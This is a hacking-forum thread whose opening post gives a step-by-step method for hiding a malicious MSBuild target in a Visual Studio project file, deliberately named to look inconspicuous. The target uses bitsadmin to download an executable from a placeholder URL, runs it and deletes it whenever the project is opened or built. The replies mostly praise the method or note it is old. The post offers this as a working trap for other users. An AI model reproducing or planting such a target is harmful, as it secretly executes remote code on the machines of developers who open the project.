[Furz]

Step 1: Create a new project in visual studio
Step 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this

PHP Code


<?php 
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 


Edit this like to incluide

PHP Code


<?php 
InitialTargets="Build" 


The name can be whatever you want, I just thought "build" would be inconspicuous
The final product will look like:

PHP Code


<?php 
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 


Step 4:

Add this to the end of the file, but before the closing "</project>" tag

PHP Code


<?php 
<Target Name="Buislfd">
    <Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="%temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="del %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Message Importance="high" Text="$(ErrorCode)" />
  </Target> 


And save the file

Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file

Proof (Click to View)

[Faith Connors]

Well this isn't really a 0day anymore, now is it.

[THC]

Well this isn't really a 0day anymore, now is it.

Yeah....
Plus I've seen something very similar on another forum. Good share though.

[Bossk]

Well, I'm never looking at source code again. Thanks for the share

[DopplerAF]

Well, I'm never looking at source code again. Thanks for the share

You can always check the file before opening it.
This is a way old method and obviously its not a 0day.

[JavaDriveBy]

Posting to comeback later.

[Kryptonet]

Eyy it does not work Can someone help me with this

[SIM-2564555]

good method but it known for ages, also all users get notifications before start any project and every one can check it manually before using the project

[Phire]

Didn’t know about this one, nice share..

[fxbg]

Just so we are clear, this isn't an exploit, its functionality.

[HiddenEyE]

nice to have you share it here mate

[xfamily123]

good method and good job !